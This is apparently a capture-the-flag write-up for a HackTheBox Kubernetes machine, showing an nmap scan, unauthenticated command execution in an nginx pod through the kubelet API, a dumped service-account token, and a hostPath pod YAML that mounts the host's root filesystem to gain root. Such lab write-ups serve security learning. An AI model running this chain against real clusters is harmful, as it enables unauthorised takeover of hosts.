StreamCloud — HackTheBox

3 min readJun 13, 2024

Foothold

We start as usual with an Nmap scan

nmap -p- 10.10.11.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-12 23:34 CEST
Nmap scan report for 10.10.11.133 (10.10.11.133)
Host is up (0.039s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 12.17 seconds

There are 7 services running on, 6 of them managed with Kubernetes container.

To see how many pods there are we just have to use kubeletctl

./kubeletctl pods --server 10.10.11.133
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ kube-proxy-mzvs8                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ coredns-78fcd69978-56gnp           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

An interesting one appears in the list, nginx with a default namespace.

Get CTFMania’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

After few tries we notice that we are able to run commands inside the pod and we are able to get a connection on it

./kubeletctl  -s 10.10.11.133 exec "/bin/bash" -p nginx -c nginx
root@nginx:~# cd /root
cd /root

With a quick research we discover the certificate and the token to log-in on the Kubernetes container

ca.crt

token

eyJhbGciOiJSUzI1NiIsImtpZCI6Imh4M2l0MGg1V0NFQVFfUXlXeGR2ZFktMXlEOXllSmFMeC1YaUt4OFRzRkEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzQ5ODQ1NDYyLCJpYXQiOjE3MTgzMDk0NjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImQyYTAwNmQ3LTBhM2UtNDA4Mi05OWRjLTJmNTk0MTE5OGM3MSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6ImZkMjExODRkLThjODEtNDczMC05MDhjLTljNjUxYzA3OTZjOCJ9LCJ3YXJuYWZ0ZXIiOjE3MTgzMTMwNjl9LCJuYmYiOjE3MTgzMDk0NjIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.lblKTFLTZIy3S9bUxkmr6A_za6OaQCddRlA3udHd-keMe1eUlEvDbCz0Y6Ht_3MaHd34Ecz1NYT_eg-mVtclCXCFfwYHMYCv4NMNtUHCGGOQmEIi0udUwfcuFpkq5fcLR5mIwyu2RhEXG0OG8IPIhhlRec5ErkBpL3HVd9JVDZ5Eyl-U7rvjOw0YOZwSei7UOG4J7zBb1RIGkHW9X5LOtoHr3gy5LMsBJNFOYjtEEquo3OTt9bywF0LulpBwWkuQ7AOAeY-eE9Gs4h6ZtoldButwI1Ix3OxkO8z9J7cLzVjh3RlEpfp1s8FRdQ5NTKw9pcWpNREuUraNwvqVtIhQfA

Privilege Escalation

At this point we just need to create another pod which mounts the root folder on the main machine

pod.yaml

apiVersion: v1
kind: Pod
metadata:
  name: sample
  namespace: default
spec:
  containers:
  - name: sample
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: rooty
  volumes:
  - name: rooty
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

sudo kubectl --token=$token --certificate-authority=./ca.crt --server=https://10.10.11.133:8443 apply -f pod.yaml

And now we will be able to get a shell on the machine as root!

sudo ./kubeletctl --server 10.10.11.133 exec "/bin/bash" -p sample -c sample
root@steamcloud:/# ls
ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr
root@steamcloud:/# cd root
cd root
root@steamcloud:~# ls
ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
root@steamcloud:~# cd root
cd root
root@steamcloud:~/root# ls
ls
root.txt
root@steamcloud:~/root# cat root.txt
cat root.txt